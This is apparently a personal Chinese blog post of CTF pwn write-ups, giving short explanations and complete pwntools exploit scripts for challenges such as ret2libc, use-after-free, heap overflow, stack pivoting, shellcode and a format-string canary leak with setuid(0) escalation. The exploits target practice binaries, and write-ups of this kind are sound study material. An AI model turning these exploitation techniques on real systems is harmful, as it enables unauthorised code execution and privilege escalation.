刷题记录


刷题记录

[SWPUCTF 2022 新生赛]Integer Overflow

一道普通的libc,但是需要注意不能使用elf.sym来寻找system的地址,因为endbr32会保护plt表

所以我们顺着程序逻辑走之后栈溢出即可

exp:

from pwn import *

context(log_level='debug',arch='i386', os='linux')

p = remote('node5.anna.nssctf.cn',28462 )

elf = ELF('./pwn')

system = 0x08049104
sh= 0x804a008

p.sendlineafter('Tell me your choice:','1')
p.sendlineafter('First input the length of your name:','-1')

payload = flat([b'a'* (0x20 + 0x4) , system , 1, sh])
p.sendlineafter(b"name?",payload)
p.interactive()

[NISACTF 2022]UAF

(第一次尝试uaf题)

uaf原理

user-after-free漏洞是因为没有合理使用动态内存,在数据已经被删除或移动后原先的指针还被保留。指针本质上是内存地址和数据的一种对应关系,如果只处理了数据但是没有处理这种对应关系的话,就像你家被盗是因为上一个主人走后没换锁,别人拿着老的那把锁还能开你家的门。

程序的动态内存设计heap(堆),可以在一定范围内分配大量数据并且相对来说比较自由,可以修改、释放或者再程序的其他部分自由使用。当然在使用中要动态查找哪一个部分是有空缺的。

``

先看代码逻辑,应该是最简单的uaf了,只需要完成四个步骤然后找到NICO即可






exp:

from pwn import *

context(os='linux', arch='i386', log_level='debug')

# p = process(['./pwn'])
p = remote('node4.anna.nssctf.cn', 28004)
elf = ELF('./pwn')


def create_page():
    p.sendlineafter(b':', b'1')


def delete_page(index):
    p.sendlineafter(b':', b'3')
    p.sendlineafter(b'Input page\n', str(index))


def edit_page(index, content):
    p.sendlineafter(b':', b'2')
    p.sendlineafter(b'Input page\n', str(index))
    p.sendlineafter(b'Input your strings\n', content)


def show_page(index):
    p.sendlineafter(b':', b'4')
    p.sendlineafter(b'Input page\n', str(index))


# create page 0
create_page()

# delete page 0
delete_page(0) 

# create page 1
create_page()

# edit page -> uaf
payload = flat(['sh\x00\x00', elf.sym['NICO']])
edit_page(1, payload)

# show page 0
show_page(0)
# 利用 show 功能 get_shell 的时候只能使用索引为 0 的堆块,而 edit 不能编辑索引为 0 的堆块,所以就要用到 UAF 了

p.interactive()

CISCN 华南 PWN4

本题为32位栈迁移

看到readprintf想到格式化字符串漏洞

因为是32位程序,用栈传递参数,所以找到esp位置,传入system的地址和/bin/sh后再从栈上退回即可实现提权

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('node5.anna.nssctf.cn',28355)

elf=ELF('./pwn2')
system_addr=elf.sym['system']
leave_addr=0x80485FD

payload1 = b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
esp = u32(p.recv(4))-0x38

payload2 = b'a'*4+p32(system_addr)+p32(0)+p32(esp+0x10)+b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\0')
payload2+=p32(esp)+p32(leave_addr)
p.sendlineafter('\n',payload2)

p.interactive()

[HGAME 2023 week1]simple_shellcode

打开ida可以发现MEMORY[0xCAFE0000],根据hint调用read来读取flag,而read的范围比较小,手动扩大范围即可

exp:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=remote('node5.anna.nssctf.cn',28430)
#p=process("./shellcode")
p.recvuntil("shellcode:\n")
 
mmap_addr =0xcafe0000
 
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,mmap_addr+0x100,0x50)
shellcode+=shellcraft.write(1,mmap_addr+0x100,0x50)
shellcode=asm(shellcode)
 
p.send(asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall;"))

# 将rdi置零后把read的调用放里面

#print(len(asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall;")))

#查看扩展的范围是否足够
 
p.send(shellcode)
p.interactive()

[NISACTF 2022]ezheap

首先代码看一下,就是简单的malloc个heap空间,直接分配堆空间然后堆溢出即可

先随便输入一些数据,然后gdb调试一下发现heap是0x20,但是我们申请的是0x16,这是为什么呢?这是因为malloc_chunk要求chunk大小必须是 2 * SIZE_SZ 的整数倍,如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。而在32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。题目程序为32位,我们申请了0x16(22)个字节,再加上chunk header(也就是prev_size和size)的42=8个字节,一共22+8=30个字节,不是24=8的倍数,所以补齐到32个字节,也就是0x20

附图:

exp:

from pwn import *

context(log_level="debug",arch="amd64")
# p = remote("node4.anna.nssctf.cn",28184)
p = process("./../pwn")
elf = ELF("./../pwn")

p.recvuntil("Input:\n")
#0x20为整个chunk的大小,减去0x8(也就是prev_size和size)就是剩下的userdata,加上0x8(也就是下一个chunk的prev_size和size),这样就到达了下一个chunk的userdata部分,输入命令就行了。
payload = b'A' * (0x20-0x8 + 0x8) + b'/bin/sh'  
p.sendline(payload)
p.interactive()

[HNCTF 2022 WEEK4]ezheap

是一道heap的模板题,通过adse几个功能实现对堆上的操作

因为程序中有puts函数,泄露出函数的偏移和基地址,再去使用libc库中的system函数实现提权,获取shell

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

#p = process('./pwn')
p = remote("node5.anna.nssctf.cn",28668)

elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')


def lg(x, y): return log.success(f'{x}: {hex(y)}')


def choice(index):
    p.sendlineafter(b'Choice: \n', str(index).encode())


def add(index, size, name, content):
    choice(1)
    p.sendlineafter(b'idx:\n', str(index).encode())
    p.sendlineafter(b'Size:\n', str(size).encode())
    p.sendlineafter(b'Name: \n', name)
    p.sendlineafter(b'Content:\n', content)


def edit(index, size, data):
    choice(4)
    p.sendlineafter(b'idx:\n', str(index).encode())
    p.sendlineafter(b'Size:\n', str(size).encode())
    p.send(data)


def free(index):
    choice(2)
    p.sendlineafter(b'idx:\n', str(index).encode())


def show(index):
    choice(3)
    p.sendlineafter(b'idx:\n', str(index).encode())


add(0, 0x10, b'00000000', b'AAAAAAAA')
add(1, 0x10, b'11111111', b'BBBBBBBB')
payload = b"CCCCCCCC"*8

edit(0, 0x40, payload)
show(0)
p.recvuntil(b"CCCCCCCC"*8)
puts_addr = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))
lg("puts_addr: ", puts_addr)

libc_base = puts_addr - libc.sym['puts']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
lg("binsh: ", binsh)
lg("system: ", system)

payload = b"DDDDDDDD"*4
payload += b"/bin/sh\x00"
payload += p64(0)
payload += b"DDDDDDDD"*2
payload += p64(system)
payload += p64(0)

edit(0, 0x60, payload)

show(1)

p.interactive()

LACTF 2024 sus

一道libc题,找出偏移量之后泄露puts地址,然后算基地址偏移,找system函数和/bin/sh字串位置(压缩包里的libc库有点问题,自己找了个2.35的换一下)

无法直接传参进入rdi,找个汇编片段间接传参

exp:

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")

p = process('./sus')
elf = ELF('./sus')
libc = ELF('./libc.so.6')

puts_plt = 0x401030
puts_got = 0x404000
main_addr = 0x401151
pop_rdi_ret = 0x401190
ret = 0x401016

payload = b'a'*56 + p64(puts_got) + p64(0) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("sus?\n",payload)

puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_addr = libc_base + next(libc.search(b'/bin/sh'))

print("base = ",hex(libc_base))
print("sys = ",hex(system_addr))
print("bin = ",hex(bin_addr))

payload = b'b'*56 + p64(bin_addr) + p64(0) + p64(ret)+ p64(system_addr)

p.sendline(payload)
p.interactive()

[LitCTF 2023]狠狠的溢出涅~

一道ret2libc模板题,只需要泄露puts函数的got表后找偏移,ropgadget找个ret,剩下的都在链接库里,比较简单

只需要注意一下strlen函数的\x00绕过即可

exp:

from pwn import *
from LibcSearcher import *

context(os="linux", arch="amd64", log_level="debug")
#p = process('./pwn')
p = remote('node4.anna.nssctf.cn',28190)
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')


pop_rdi_ret = 0x4007d3 
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ret_addr = 0x400556 
main_add = elf.sym['main']

#b"\x00".ljust(0x68,b'a')

payload1 = b'\x00'*(0x60+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_add)

p.sendlineafter("message:\n",payload1)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.symbols['system']
binsh = libc_base+next(libc.search(b"/bin/sh\x00"))

print(hex(puts_addr))
print(hex(system))
print(hex(binsh))
payload2 = b'\x00'*(0x60+8) + p64(ret_addr) + p64(pop_rdi_ret) +p64(binsh) + p64(system)

p.sendlineafter('message:\n',payload2)
p.interactive()

[NISACTF 2022]Hacknote

因为free掉note和content之后,没有将指针置空,所以导致了UAF漏洞

由于LIFO原则,也就是后进先出,我们这次申请到的第一个note_chunk_2,其实是上次的note_chunk_1,而content_chunk_2,实际上是上一次的note_chunk_0,通过content_chunk_2的content,我们可以写入我们需要执行的命令,magic函数

content也就是magic函数的地址,覆盖print_note_content函数的指针,成功劫持了程序控制流

exp:

from pwn import *
from LibcSearcher import *

context(os="linux", arch="i386", log_level="debug")

p = process('./pwn')

def add(size_c, content):
    p.recvuntil(b'choice :')
    p.sendline(b'1')
    p.recvuntil(b'size :')
    p.sendline(str(size_c))
    p.recvuntil(b'Content :')
    p.sendline(content)
 
 
def free(index):
    p.recvuntil(b'choice :')
    p.sendline(b'2')
    p.recvuntil(b'Index :')
    p.sendline(str(index))
 
 
def print(index):
    p.recvuntil(b'choice :')
    p.sendline(b'3')
    p.recvuntil(b'Index :')
    p.sendline(str(index))
 
magic_addr = 0x8048945
 
add(16, b'aaaaaa')
add(16, b'aaaaaa')
 
free(0)
free(1)
 
add(8, p32(magic_addr))
print(0)
p.interactive()

[NKCTF 2024] maimai

一道难度中等的栈溢出题目。有两个漏洞,一个是符合分数要求的格式化字符串漏洞来泄露libccanary,另一个是read函数的栈溢出

需要注意一下,本地打通之后在远端并不能拿到root权限,只是一个低权限shell,ls -al之后看到pwn程序有s权限,这时候可以找到setuid权限,可以在ROP链中加入setuid(0)即可提权。或者第二种方法orw做题(做出来第二种方法再更)

exp:


from pwn import *

context(log_level="debug",arch="amd64")
#p = remote("node5.anna.nssctf.cn",28645)
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

p.recvuntil("Select a option:")
p.sendline(b'1')
for i in range(0,50):
	p.sendline(b'15.0 SS')
	
p.recvuntil("Select a option:")
p.sendline(b'2')

p.sendlineafter("Input your nickname.\n",b'%7$p')

p.recvuntil(b'0x')
canary = int(p.recv(16), 16)
log.info('canary'+':'+hex(canary))

#gdb.attach(p)
#pause()
p.sendafter(b"Can you teach me how to play maimai?\n",b'1')
p.sendlineafter(b'option:', b'2')
p.sendafter(b'nickname.\n', "%13$p")

p.recvuntil(b'0x')
libc.address = int(p.recv(12), 16) - 0x29d90
log.info('libc.address'+':'+hex(libc.address))


pop_rdi = libc.address + 0x2a3e5
ret = libc.address + 0x29139
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh'))
setuid = libc.sym['setuid']

payload = b'a' * (0x28) + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(0) + p64(setuid) + p64(pop_rdi) + p64(binsh) + p64(system)
p.sendafter(b'maimai?', payload)
p.interactive()

[NKCTF 2024] leek

pwn和密码的结合(这次比赛好多结合体,要拓宽方向了)

中国剩余定理

题目一开始允许输入6字节,并将这6个数字作为模返stdout的余数,并同时返回一个栈指针的尾地址

通过适当输入6个素数和返回的地址可以得到libc地址(通过CRT),得到的值比真实libc要小需要加模爆破64位系统,libc的加载地址首字节0x7f(大多数情况下),尾部12位固定不变,所以可以通过首字节确定爆破的结果是否正确,当首字节为0x7f尾12位相同时可以确定libc地址和版本。

之后通过一字节的溢出,把libc地址放在指针后面

memcpy时将payload复制到返回地址位置来实现ROP

exp:


from pwn import *
from sympy.ntheory.modular import crt

context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')

p = process('./leak')

#gdb.attach(p, "b*0x555555555296\nc")

ps = [101,103,107,109,113,127]
cs = [0]*6

p.sendafter(b'\n',bytes(ps))
for i inrange(6):
    cs[i] = p.recv(1)[0]

stack = p.recv(1)[0]
stdout,pd = crt(ps,cs)
stdout,pd = int(stdout),int(pd)

print(hex(stdout), hex(pd))

while stdout&0xfff != 0x760:
    stdout+=pd 

libc.address = stdout - libc.sym['_IO_2_1_stdout_']

print(f'{libc.address = :x}')
print(stdout)

pop_rdi = libc.address + 0x27725 #0x2a3e5
bin_sh = next(libc.search(b'/bin/sh\0'))
system = libc.sym['system']

print(f"{pop_rdi:x}{bin_sh:x}{system:x}")
print(pop_rdi,bin_sh,system)

pay = flat(pop_rdi+1, pop_rdi, bin_sh, system) + p8((stack+0x58)&0xff)

p.send(pay)

print(stdout)

p.interactive()

TUTCTF pwn ezrop


```py

from pwn import *
from LibcSearcher import *

#p = process('./pwn')
p = remote('36.212.170.17', 9997)
libc = ELF('./libc.so.6')
elf = ELF('./pwn')

padding = 0x98

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x4011FC
pop_rdi_ret = 0x401183
ret = 0x40101a

payload = b'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.sendline(payload)

p.recvline()
puts_real = u64(p.recvline()[:-1].ljust(8, b'\x00'))
print(hex(puts_real))

libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

print(hex(libc_base))
print(hex(system_addr))
print(hex(bin_sh_addr))

# gdb.attach(p)

payload2 = b'a' * padding
payload2 += p64(ret)
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)

p.sendline(payload2)

# sleep(1)

p.interactive()

文章作者: J1ton9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 J1ton9 !
评论
评论
 上一篇
Week 2 Week 2
第二周周报
2024-02-06
下一篇 
typora-vue-theme主题介绍 typora-vue-theme主题介绍
这是你自定义的文章摘要内容,如果这个属性有值,文章卡片摘要就显示这段文字,否则程序会自动截取文章的部分内容作为摘要
2018-09-07 赵奇
  目录
'); }